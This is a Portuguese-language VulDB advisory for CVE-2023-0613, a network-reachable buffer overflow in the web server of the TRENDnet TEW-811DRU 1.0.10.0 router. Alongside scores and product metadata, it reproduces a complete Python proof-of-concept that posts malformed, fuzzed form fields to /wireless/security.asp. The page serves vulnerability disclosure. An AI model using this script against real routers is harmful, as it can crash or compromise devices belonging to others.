VDB-219937 · Submeter #76278 · CVE-2023-0613

TRENDnet TEW-811DRU 1.0.10.0 httpd /wireless/security.asp Excesso de tampão

CVSS Meta Pontuação Temporária	Preço atual do exploit (≈)	Nota de Interesse CTI
7.3	$0-$5k	0.00

Sumárioinformação

Uma vulnerabilidade classificada como crítico foi encontrada em TRENDnet TEW-811DRU 1.0.10.0. A função afetada é desconhecida do arquivo /wireless/security.asp do componente httpd. O tratamento leva a Excesso de tampão. Esta vulnerabilidade está registrada como CVE-2023-0613. O ataque pode ser feito a partir da rede. Além do mais, um exploit está disponível.

Detalhesinformação

Uma vulnerabilidade classificada como crítico foi encontrada em TRENDnet TEW-811DRU 1.0.10.0. A função afetada é desconhecida do arquivo /wireless/security.asp do componente httpd. O tratamento leva a Excesso de tampão. Declarar o problema usando CWE resulta em CWE-119. O problema foi divulgado 01/02/2023.

Esta vulnerabilidade está registrada como CVE-2023-0613. O ataque pode ser feito a partir da rede. Os detalhes técnicos podem ser consultados. Esta vulnerabilidade tem popularidade abaixo da média. Além do mais, um exploit está disponível. O exploit está disponível publicamente e pode ser explorado. Neste momento, o preço atual de um exploit pode ser cerca de USD $0-$5k agora.

Está declarado como prova de conceito. O exploit foi compartilhado para download em vuldb.com. Como 0-day, o preço estimado no mercado negro era cerca de $0-$5k. O exploit utiliza o seguinte código:

import requests,socket
import re
import time
from urllib.parse import urlencode
device_web_ip = '192.168.10.1'
request = {'HEAD': 
{'Host': b'Z', 
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0', 
'Accept': b',\x80gpsiation//xm', 
'Accept-Language': 'en-US,en;q=0.5', 
'Accept-Encoding': 'gzip, deflate', 
'Content-Type': b'enc\xbc\xbc\xbc', 
'Content-Length': '1209', 
'Origin': 'http://0.0.0.0:8080', 
'Connection': 'keep-alive', 
'Referer': 'http://0.0.0.0:8080/wireless/security.asp', 
'Cookie': 'expandable=3c', 
'Upgrade-Insecure-Requests': b'\x1d2'
}, 
'PARAM': 
{b'ecOe': b'/wireless/srcuri\x81\x80.asp', 
b'\x86od}': 'Qy4zq80U9FFhnKc0BBTA', 
'wl_wps_mode': b'd\x10saDte\x80', 
b'\x96\x96': b' 5', 
'wl_bssid': b'SS', 
'security_mode': b'OO:E', 
b'\x88l\x88l_eu_aZ': 0, 
'wl_auth_mode': 'none', 
b'cc@@zw(': 'enabled', 
'wl_akm': b'', 
'wl_akm_wpa': b'b\x85nd', 
'wl_akm_psk': 'disabled', 
'wl_akm_wpa2': b'disniled', 
'wl_akm_psk2': b'\xd3isabled', 
'wl_wai_cert_index': '', 
'wl_wai_cert_status': '', 
b'\x00\xffak\xffakvv_w': 'disabled', 
b'wkm_wl_akm_wapi\x05\xff\xff': 'disabled', 
'wl_key': 2, 
b'\x01': 'abcde', 
b'wl{k@{': 'abcdefabcdefe', 
b'Sk': b'\x01\x8b\x00', 
b'7l_+ey': b'a\x80\x00\x00\x01\x8f', 
'wl_macmode': b'a\x1c(\x1a\xc2\xba\x04\x00al', 
'wl_maclist': 48, 
b'\x7fmmAc3t0t0': '00:0c:29:d9:40:fe', 
b'wl_mac\xc3\x8f?\xc3\x86\x045\x00\x80\x1b\xc3\x88\xc3\x96\xc3\xa4S\xc2\x96\xc2\x96$\x00Dh\xc3\xb4\xc3\x9flis\xc3\x8b\x0bX>\t\xc2\xaaQ\x03': '00:0c:29:d9:40:ff', 
b'glFqacKist2': b'2:0c\x8029::@BJ40!fd', 
b'lmaylistaclma': '', 
'wl_maclist4': '', 
'wl_maclist5': b'', 
b'wleAaclb\x7fg': b'', 
'wl_maclist7': b'', 
b'l_++++wlP++++++*+': '', 
'wl_maclist10': b'', 
'wl_maclist11': b'', 
b'w\xff\xff\xee\xff\x86ist\x80\x002': b'', 
b'wl_wlcl\x05\xff\xff\x053': '', 
b'hl@\x81B_\x7f\xff\x00\xff14': b'', 
b'w@_maclis': '', 
'wl_maclist16': b'', 
b'wU_maczist17': b'', 
'wl_maclist18': b'', 
'wl_maclist19': b'', 
b'w\xc2\x98\x0b$jl\x87mlymc\x9ai': b'', 
b'w|\xa1\xa1\xa1\xa1\xa1\xa1\xa1\xa1\xa1\xa1\xa1\xa1': b'', 
b'a\x00\x00\x02\x00': '', 
'wl_maclist23': '', 
'wl_maclist24': b'', 
b'\xa9\x14\twl_maclis\xa9\x14\twl_maclist2': '', 
'wl_maclist26': b'', 
'wl_maclist27': '', 
'wl_maclist28': '', 
b'wl_l_m\xba\xba\xba\xba\xba\xba': b'', 
b'l\xff\xff\xfd\xff\xff': b'', 
'wl_maclist31': b'', 
b'J': b'', 
b'wl_macli\xfft\x00\x02': b'', 
'wl_maclist34': b'', 
'wl_maclist35': '', 
b'\x8dlTmaclist36': '', 
'wl_maclist37': '', 
'wl_maclist38': '', 
'wl_maclist39': '', 
'wl_maclist40': '', 
b'sl_maclicl': '', 
b'\x90l': b'', 
b'wW_maclist4\xb3': '', 
'wl_maclist44': b'', 
'wl_maclist45': '', 
'wl_maclist46': b'', 
'wl_maclist47': b'', 
b'\x00\x08\x7f': 'Apply', 
'wan_apply': '<!--#tr id=', 
'mg.alert.7': '', 
'wl_key4': b'Q', 
b'alg.alg.05': b'', 
'wl_maclist15': b'', 
'expandable': b'', 
b'\xff\xff\xff\xff45': 4
}, 
'ATTR': 
{'URL': 'http://{}/wireless/security.asp'.format(device_web_ip), 
'METHOD': 'POST', 
'VERSION': 'HTTP/1.1'
}
}
headers = request['HEAD']
params = request['PARAM']
method = request['ATTR']['METHOD']
url = request['ATTR']['URL']
try:
  r = requests.request(method=method,url=url,headers=headers,data=urlencode(params),verify=False,timeout=5)
  print('Finish attack, to check web state.')
except Exception as e:
  print('error:{}'.format(e))

Produtoinformação

Fabricante

TRENDnet

Nome

TEW-811DRU

Versão

1.0.10.0

Licença

comercial

CPE 2.3informação

🔍

CPE 2.2informação

🔍

CVSSv4informação

VulDB Vetor: 🔍
VulDB Fiabilidade: 🔍

CVSSv3informação

VulDB Meta Pontuação Base: 7.5
VulDB Meta Pontuação Temporária: 7.3

VulDB Pontuação Base: 7.5
VulDB Pontuação Temporária: 6.8
VulDB Vetor: 🔍
VulDB Fiabilidade: 🔍

NVD Pontuação Base: 7.5
NVD Vetor: 🔍

CNA Pontuação Base: 7.5
CNA Vetor (VulDB): 🔍

CVSSv2informação

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

Vector	Complexidade	Autenticação	Confidencialidade	Integridade	Disponibilidade
Desbloquear	Desbloquear	Desbloquear	Desbloquear	Desbloquear	Desbloquear
Desbloquear	Desbloquear	Desbloquear	Desbloquear	Desbloquear	Desbloquear
Desbloquear	Desbloquear	Desbloquear	Desbloquear	Desbloquear	Desbloquear

VulDB Pontuação Base: 🔍
VulDB Pontuação Temporária: 🔍
VulDB Fiabilidade: 🔍

NVD Pontuação Base: 🔍

Exploraçãoinformação

Classe: Excesso de tampão
CWE: CWE-119
CAPEC: 🔍
ATT&CK: 🔍

Físico: Não
Local: Não
Remoto: Sim

Disponibilidade: 🔍
Acesso: Público
Estado: Prova de conceito
Linguagem de programação: 🔍
Descarregar: 🔍
Google Hack: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Tendência de preços: 🔍
Estimativa de preço atual: 🔍